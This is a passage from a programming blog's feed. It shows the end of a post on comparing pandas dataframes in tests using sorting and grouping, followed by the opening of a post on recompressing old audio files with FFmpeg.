&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;physics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;physics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
      &lt;span class="n"&gt;name&lt;/span&gt;  &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;physics&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;      &lt;span class="n"&gt;bob&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;      &lt;span class="n"&gt;bob&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;physics&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;2&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Sorting quickly makes the real difference visible:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_df_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;difference&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Details&lt;/span&gt; &lt;span class="n"&gt;follows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
      &lt;span class="n"&gt;name&lt;/span&gt;  &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;physics&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;    &lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;physics&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;      &lt;span class="n"&gt;bob&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;      &lt;span class="n"&gt;bob&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;2&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;     &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But the dataframes are too large and it is not easy to see exactly where is the problem.&lt;/p&gt;
&lt;p&gt;Moreover adding an extra row breaks the comparison.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alice&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;algebra&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_df_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;difference&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Details&lt;/span&gt; &lt;span class="n"&gt;follows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt; &lt;span class="n"&gt;shape&lt;/span&gt; &lt;span class="n"&gt;mismatch&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;group_by&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to rescue!&lt;/p&gt;
&lt;p&gt;Partitioning the dataframes in smaller groups makes much easier the debugging and much more robust against shape mismatches&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_df_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group_by&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;differences&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Details&lt;/span&gt; &lt;span class="n"&gt;follows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Unexpected&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;algebra&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;  &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;4&lt;/span&gt;  &lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;algebra&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;alice&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;alice&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
      &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;subject&lt;/span&gt;  &lt;span class="n"&gt;grade&lt;/span&gt;        &lt;span class="n"&gt;DF&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;2&lt;/span&gt;  &lt;span class="n"&gt;obtained&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="n"&gt;charlie&lt;/span&gt;    &lt;span class="n"&gt;math&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;  &lt;span class="n"&gt;expected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It looks complicated but now we know &lt;strong&gt;exactly&lt;/strong&gt; where are the differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have a &lt;em&gt;unexpected&lt;/em&gt; row: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;alice&lt;/span&gt;  &lt;span class="n"&gt;algebra&lt;/span&gt;  &lt;span class="mi"&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the obtained grade was 3 but expected 5&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the obtained grade was 2 but expected 5&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/10/01/Diff-Between-Dataframes-for-Testing.html" rel="alternate" type="text/html" title="Diff Between Data Frames for Testing"/>
    <category term="python" label="python"/>
    <category term="dataframe" label="dataframe"/>
    <category term="pandas" label="pandas"/>
    <published>2022-10-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/08/27/Compress-Old-Audio-Files.html</id>
    <title>Compress Old Audio Files</title>
    <updated>2022-08-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;We the pass of the years one keeps storing files, music in my case.&lt;/p&gt;
&lt;p&gt;A few thousands.&lt;/p&gt;
&lt;p&gt;But technology improved in this sense and new encoders exist that can compress (loosely) the same audio with the same quality but at a much smaller bit rate, and therefore, resulting in much smaller files.&lt;/p&gt;
&lt;p&gt;Quick and dirty script follows!&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="encoders-containers"&gt;Encoders &amp;amp; containers&lt;/h2&gt;
&lt;p&gt;The current documentation of &lt;a href="https://ffmpeg.org/"&gt;FFmpeg&lt;/a&gt; gives a ranking of the encoders available, from best (left) to not so good (right):&lt;/p&gt;
